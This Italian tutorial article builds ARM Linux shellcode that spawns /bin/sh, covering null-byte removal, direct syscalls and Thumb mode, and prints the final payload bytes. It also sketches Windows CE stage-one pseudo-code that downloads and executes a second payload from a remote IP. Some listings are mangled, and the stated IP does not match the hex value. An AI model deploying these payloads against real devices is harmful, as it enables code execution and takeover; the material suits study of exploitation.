Il processore della serie ARM rappresenta una delle piattaforme maggiormente utilizzate in moltissimi ambienti di lavoro anche grazie alla possibilità di sfruttare differenti sistemi operativi, inclusa la versione Windows embedded di Microsoft.
L’architettura ARM è una delle soluzioni maggiormente collaudate tanto che, nella maggior parte dei casi, rappresenta la piattaforma più utilizzata in qualsiasi applicazione di tipo mobile. Purtroppo, però, per via della sua particolare diffusione, il processore è sottoposto a diverse minacce che hanno lo scopo di minare la safety del sistema: oggi è sempre più urgente salvaguardare i nostri ambienti di lavoro da potenziali rischi e/o violazioni dei dati. La protezione dagli attacchi informatici è ottenuta agendo su più livelli: dal livello fisico, ponendo i server nel luogo più sicuro con controllo costante degli accessi, fino a quelli logici; in effetti, dopo il processo di autenticazione, le operazioni effettuate dall’utente sono tracciate in file di log.
La sicurezza si può dividere in due filoni: passiva e attiva. Nel primo caso si utilizzano tecniche e strumenti di tipo difensivo, ossia quel complesso di soluzioni tecnicopratiche il cui obiettivo è impedire a utenti non autorizzati di accedere a risorse, sistemi, impianti, informazioni e dati di natura riservata. Al contrario, nel secondo caso si intendono invece tutte quelle tecniche e gli strumenti mediante i quali le informazioni e i dati di natura riservata sono resi intrinsecamente sicuri, proteggendo gli stessi sia dalla possibilità che un utente non autorizzato possa accedervi (confidenzialità) sia dalla possibilità che un utente non autorizzato possa modificarli (integrità). Esistono diverse forme di attacco. In quello denominato exploit l’attacco è condotto da un particolare codice software che, grazie alla presenza di bug o vulnerabilità, porta all’acquisizione di privilegi o al denial of service di un computer. Ci sono diversi modi per classificare questa particolare minaccia e il più comune è considerare il modo in cui l’exploit prende contatto con l’applicazione vulnerabile. Un exploit remoto è compiuto attraverso la rete e sfrutta la vulnerabilità senza precedenti accessi al sistema. Un exploit locale richiede, al contrario, un preventivo accesso al sistema e solitamente fa aumentare i privilegi dell’utente oltre a quelli impostati dall’amministratore. Lo shellcode è un particolare exploit, scritto di solito in linguaggio assembly, che tradizionalmente esegue una shell, come la shell Unix “/bin/sh” oppure la shell “command.com” sui sistemi operativi DOS e Microsoft Windows. Gli shellcode sono tipicamente inseriti nella memoria del computer sfruttando il meccanismo del buffer overflow nello stack e nell’heap, o, ancora, attraverso una “format string attack”. L’esecuzione dello shellcode può essere ottenuta sovrascrivendo l’indirizzo di ritorno dello stack con l’indirizzo del lo shellcode: in questo modo quando la subroutine prova a ritornare al chiamante, questo ritorna invece al codice dello shellcode il quale apre una riga di comando che può essere usata da chiunque altro. Proteggere le informazioni presenti in un sistema target è un’attività particolarmente onerosa e delicata che coinvolge l’uso di diversi tool e tecniche ed ecco perché diventa necessario comprenderne i meccanismi di funzionamento. L’architettura ARM è presente in qualsiasi applicazione tanto che Microsoft, allo scopo di supportare il mercato mobile ed embedded in generale, propone la sua piattaforma Windows CE; in effetti, la variante Windows CE è una particolare versione di Windows studiato e realizzato per dispositivi palmari, inclusi Personal Digital Assistant (PDA) e telefoni cellulari. Il colosso americano guidato da Bill Gates propone questa particolare versione come una valida alternativa al sistema classico: a livello di API molte delle chiamate di funzione e le interfacce sono le stesse della versione standard di Windows anche se gran parte della struttura interna è stata modificata per ospitare diversi tipi di CPU e architetture.
Che cos’è uno shellcode
Un programma definito come shellcode ha lo scopo di eseguire un altro programma; in sostanza, è un piccolo programma scritto in codice macchina, chiamato “shellcode” perché fa iniziare, in genere, una shell di comando (come “/bin/sh”) in ambito Linux, ma naturalmente non si limita a questo. Uno shellcode esiste per via dell’esistenza della linea immaginaria che separa la data region con la instruction region: un buffer contenente una stringa può essere trasformato in un frammento di codice se il contatore di programma è reindirizzato con il suo inizio.
Scriviamo un piccolo shellcode
Per scrivere uno shellcode è necessario compilare un semplice programma scritto in C: il classico esempio di uno shellcode è messo in evidenza nel listato 1.
#include <unistd.h> void operation () { execve (“/bin/sh”, NULL, NULL); } int main (int argc, char **argv ) { operation (); }
Listato 1-Shellcode: classico esempio |
Il listato pone anche in evidenza, in ambito Linux Arm, una chiamata di execve(). In realtà, in uno shellcode si deve ottenere il relativo codice assembly del programma, avendo cura di generare un codice indipendente dalla posizione, poiché non sappiamo dove il modulo sarà inserito in memoria. Così, in questo modo:
hoststation# gcc -S -static shell.c hoststation# gcc -static shell.c -o shell hoststation#
A questo punto otteniamo il codice macchina del programma. Il listato 2 mostra il listing della shell.s e l’uso del comando gdb per analizzare il relativo codice listato 3.
hoststation# gdb ./shell ... (gdb) disass operation Dump of assembler code for function operation: 0x00008238 <operation+0>: mov r12, sp 0x0000823c <operation+4>: push {r11, r12, lr, pc} 0x00008240 <operation+8>: sub r11, r12, #4 ; 0x4 0x00008244 <operation+12>: ldr r0, [pc, #20] ; 0x8260 <operation+40> 0x00008248 <operation+16>: mov r1, #0 ; 0x0 0x0000824c <operation+20>: mov r2, #0 ; 0x0 0x00008250 <operation+24>: bl 0x119b0 <execve> 0x00008254 <operation+28>: sub sp, r11, #12 ; 0xc 0x00008258 <operation+32>: ldm sp, {r11, sp, lr} 0x0000825c <operation+36>: bx lr 0x00008260 <operation+40>: andeq r4, r6, r12, lsr #3 End of assembler dump. (gdb)
Listato 2-Listing della Shell in shell.s |
. file “shell.c” . section . rodata . align 2 .LC0 : . ascii “/ bin / sh n000 “ . text . align 2 . global operation . type operation , %function operation : mov ip , sp stmfd sp! ,{fp , ip , l r , pc } sub fp , ip , #4 ldr r0 , . L3 mov r1 , #0 mov r2 , #0 bl execve sub sp , fp , #12 ldmfd sp , { fp , sp , lr } bx lr . L4 : . a l i g n 2 . L3 : . word .LC0 . size operation , .-operation . align 2 . global main . type main , %function main : mov ip, sp stmfd sp! , { fp , ip , lr , pc } sub fp , ip , #4 sub sp , sp , #16 s t r r0 , [ fp , #-16] s t r r1 , [ fp , #-20] bl operation sub sp , fp , #12 ldmfd sp , { fp , sp , lr } bx lr . size main , .-main
Listato 3 - Codifica assembly |
Com’è possibile notare, il listato 2 pone in evidenza la codifica della funzione e mostra anche il punto critico che ci interessa, ossia la chiamata a execve (linee 0x00008244, 0x00008250). Vediamo, poi, che le prime tre linee preparano i registri r0-r2 per contenere gli argomenti, mentre l’ultima riga effettua la chiamata. Per creare uno shellcode si ha la necessità di estrarre il byte del codice macchina e codificare una stringa di testo. Uno strumento molto utile è hexdump che stampa in esadecimale il binario. Per trovare la posizione del codice che ci interessa nel file possiamo ricorrere a un semplice espediente:
gdb address - loading offset (0x8000) = file offset
Dal momento che vogliamo ottenere la chiamata a execve (), useremo il comando:
hoststation# hexdump -C -s 0x0000244 -n 16 ./shell 00000244 14 00 9f e5 00 10 a0 e3 00 20 a0 e3 d6 25 00 eb |......... ...%..| 00000254 hoststation#
A questo punto possiamo codificare i byte in una stringa e inserire questo shellcode nell’exploit. È anche opportuno però ricordare che lo shellcodes contiene caratteri NULL e questo è un problema quando la funzione che sovrascrive lo stack si aspetta una stringa di testo (ad esempio strcpy), perché il carattere NULL nel linguaggio C identifica la fine della stringa. Non solo, il registro r0 non punta al comando da eseguire; in effetti, nel codice la stringa “/ bin/sh” si ottiene in modo indiretto, mentre abbiamo bisogno del suo vero indirizzo. Infine, la chiamata a execve usa la libc: una condizione limitante perché si ha la necessità di utilizzare qualcosa di più diretto. Per risolvere la prima considerazione ed eliminare i caratteri “00” dalla stringa possiamo azzerare i registri R1 e R2 ricorrendo a un’operazione matematica. A questo riguardo l’operazione ideale è senza dubbio l’OR-esclusivo (istruzione EOR); in effetti, è necessario così sostituire le istruzioni
mov r1, #0 mov r2, #0
con queste operazioni
eor r1, r1 eor r2, r2
In merito alla seconda considerazione possiamo pensare di includere la stringa nello shellcode in una posizione nota e caricare il valore in r0. Per esempio, possiamo aggiungere la stringa alla fine dello shellcode e calcolare il suo indirizzo utilizzando il contatore di programma, o program counter. Per ultimo, diventa più conveniente eseguire execve() direttamente, senza dover prestare attenzione all’indirizzo della funzione libc. In ambito Linux sono disponibili diverse operazioni che possono essere utilizzate con l’interrupt software. A questo riguardo l’istruzione swi (interrupt software) è molto importante perché consente a un programma in modalità utente di effettuare chiamate a codice privilegiato del sistema operativo. È necessario così trovare il numero della chiamata di sistema che ci interessa e generare l’interrupt. Un elenco di numeri disponibili della chiamata di sistema è contenuta nel file “linux/arch/arm/include/asm/unistd.h”. In riferimento alla nostra applicazione ci può interessare senza dubbio la SWI:
#define __NR_execve (__NR_SYSCALL_BASE+ 11)
A questo punto non ci rimane che sostituire l’operazione:
... bl execve
con l’istruzione:
... swi #11
A questo punto otteniamo la sequenza di codice mostrato al listato 4, anche se poi possiamo notare un ultimo problema: l’istruzione SVC 0x0000000B (l’interrupt software) è tradotta nella sequenza esadecimale “ef00000b” che contiene parecchi zeri.
root@armstation# gcc shell.s -o shell2 root@armstation# objdump -d shell2 | grep “<operation>:” -A 11 00008364 <operation>: 8364: e1a0c00d mov ip, sp 8368: e92dd800 push {fp, ip, lr, pc} 836c: e24cb004 sub fp, ip, #4 ; 0x4 8370: e59f0014 ldr r0, [pc, #20] ; 838c <operation+0x28> 8374: e0211001 eor r1, r1, r1 8378: e0222002 eor r2, r2, r2 837c: ef00000b svc 0x0000000b 8380: e24bd00c sub sp, fp, #12 ; 0xc 8384: e89d6800 ldm sp, {fp, sp, lr} 8388: e12fff1e bx lr 838c: 00008450 .word 0x00008450 root@armstation#
Listato 4 - Nuovo listing |
Shellcode con il thumb instruction set
Che cosa succede, al contrario, se pensassimo di utilizzare non il set delle istruzioni standard ARM ma il set Thumb? In effetti, il set di istruzioni Thumb è un sottoinsieme del set di istruzioni ARM e ogni istruzione è codificata su 16 bit invece di 32. Il Thumb è stato progettato per permettere una migliore densità di codice ed è quello che ci serve: le istruzioni del codice macchina sono più corte ed è improbabile che il codice generato conterrà byte null. Per eseguire il codice Thumb mentre siamo in modalità ARM dobbiamo usare l’istruzione:
bx <address of thumb code>+1
Il listato 5 mostra la nostra breve applicazione con il set Thumb. A questo punto non ci rimane che controllare codice generato con objdump al listato 6.
. . . . global operation . type operation , %function operation: eor r1 , r1 eor r2 , r2 add r3 , pc , #1 bx r3 .thumb thumbsnippet: mov r0 , pc add r0 , #4 mov r7 , #11 swi #1 s t r i n g a d r : .ascii “/ bin / sh “ . L3 : .size operation , .-operation .align 2 .arm . . .
Listato 5-Shell con Thumb Arm |
root@armstation# gcc shell.s -o shell2 root@armstation# objdump -d shell2 | grep “<operation>:” -A 16 00008364 <operation>: 8364: e0211001 eor r1, r1, r1 8368: e0222002 eor r2, r2, r2 836c: e28f3001 add r3, pc, #1 ; 0x1 8370: e12fff13 bx r3 00008374 <thumbsnippet>: 8374: 4678 mov r0, pc 8376: 3004 adds r0, #4 8378: 270b movs r7, #11 837a: df01 svc 1 0000837c <stringadr>: 837c: 622f str r7, [r5, #32] 837e: 6e69 ldr r1, [r5, #100] 8380: 732f strb r7, [r5, #12] 8382: 0068 lsls r0, r5, #1 root@armstation#
Listato 6 - Objdump con Thumb |
Le prime due righe di codice sono utilizzate per cancellare i registri R1 e R2 e alla posizione 0x836c del programma si cambia il set delle istruzioni. In primo luogo l’indirizzo del contatore di programma (più uno) viene salvato in r3 (non utilizzato finora). Si vede, poi, che all’inizio del thumbsnippet, l’indirizzo della stringa “/bin/sh” è caricato in modo indiretto nel registro r0 utilizzando il contatore di programma (come avevamo deciso precedentemente). Dato che siamo in modalità Thumb, abbiamo usato due istruzioni separate, invece di un’istruzione singola (nel nostro caso ldr r0, [pc, # 4]). Per l’interrupt software ora noi utilizziamo due istruzioni (0x8376, 0x8378), visto che siamo in modalità Thumb. Prima di tutto si carica in r7 il numero della syscall execve e successivamente si genera l’interrupt associato. Il nostro shellcode
hoststation# hexdump -C -s 0x0000364 -n 32 ./shell2 00000364 01 10 21 e0 02 20 22 e0 01 30 8f e2 13 ff 2f e1 |..!.. “..0..../.| 00000374 78 46 04 30 0b 27 01 df 2f 62 69 6e 2f 73 68 00 |xF.0.’../bin/sh.| 00000384 hoststation#
così come messo in evidenza nel listato 7.
#include <stdio.h> char *code = “\x01\x10\x21\xe0” “\x02\x20\x22\xe0” “\x01\x30\x8f\xe2” “\x13\xff\x2f\xe1” “\x78\x46\x04\x30” “\x0b\x27\x01\xdf” “\x2f\x62\x69\x6e” “\x2f\x73\x68 “ ; int main ( void) { ( * ( void ( * ) ( ) ) code ) ( ) ; return 0 ; }
Listato 7 - Shellcode Template |
Il nostro shellcode lavora in questo modo:
hoststation# gcc template.c -o template hoststation# ./template sh-3.2# exit exit
Windows ce e shellcode
Utilizzare uno shellcode con Windows mobile? In linea di massima è possibile. Possiamo implementare la nostra realizzazione in due parti: con la prima parte si contatta uno specifico indirizzo IP allo scopo di scaricare uno specifico shellcode in una zona di memoria. Questa sarà posta sulla memoria heap per evitare problemi con la crescita dello stack nel corso della sua esecuzione. Dopo aver scaricato la seconda parte il puntatore istruzioni sarà impostato all’inizio di questo codice: questo metodo permette di caricare un secondo shellcode più consistente e più complesso per raggiungere il nostro scopo. In effetti, poiché la quantità di spazio di codice nell’exploit è minima, l’obiettivo della prima fase è di scaricare il codice supplementare e metterlo sulla parte heap dove poi sarà eseguito. Nella prima fase, la variabile sockaddr_in, listato 8, contiene l’indirizzo 192.168.1.100 insieme con la porta 2048.
struct sockaddr_in sin = { AF_INET, 2048, 0xc0a80005}; void stage1(void) { uint8_t *buf; uint32_t buf_sz, buf_len; int sock, i; sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock < 0) goto error; if(connect(sock, &sin, sizeof(sin)) < 0) goto error; buf_sz = buf_len = 0; while (1) { if (buf_len < buf_sz) goto do_recv; buf = (uint8_t*)realloc(buf, buf_sz+0x1000); if (0 == buf) goto error; do_recv: i = recv(sock, buf+buf_len, buf_sz-buf_len); switch(i) { case -1: goto error; case 0: pc = buf; default: buf_sz += i; break; } } flush_buffers(); (void*)((*)buf)(); error: goto error; }
Listato 8 - stage #1 Pseudo Code |
Questo shellcode utilizza il protocollo TCP/IP per ottenere il secondo shellcode: in realtà può anche essere utilizzato un protocollo UDP/IP o Bluetooth a seconda della singola preferenza. Il listato 8 mostra lo pseudo codice ottimizzato di questo shellcode relativo alla fase 1. Non solo, in caso di errore il codice entra in un ciclo iterativo: il ciclo consuma una grande quantità di CPU che costringe, eventualmente, a riavviare il processore. Di solito il secondo shellcode è molto più complesso della prima parte tanto che la sua dimensione potrebbe anche essere superiore a quella del primo: nella nostra applicazione il programma visualizza una finestra di dialogo con un messaggio che ne mostra l’esecuzione: listato 9.
void stage2(void) { HANDLE h; MessageBox(0, L”0wn3d”, 0, MB_OK); h = GetOwnerProcess(); TerminateProcess(h, 0); }
Listato 9 - Stage #2 Pseudo Code |
La scrittura di uno shellcode per Windows CE implica la conoscenza delle diverse caratteristiche del sistema operativo e della macchina di riferimento: in un successivo articolo cercheremo di mettere in evidenza l’architettura di Windows CE allo scopo di sfruttare le sue prerogative per mostrare come scrivere uno shellcode dedicato.
Bellissimo articolo ed esempio, utile per sperimentare diverse cose. Una cosa vorrei sapere: nell’andare a scrivere questo tipo di programmi bisogna prestare qualche tipo di precauzione particolare?
Grazie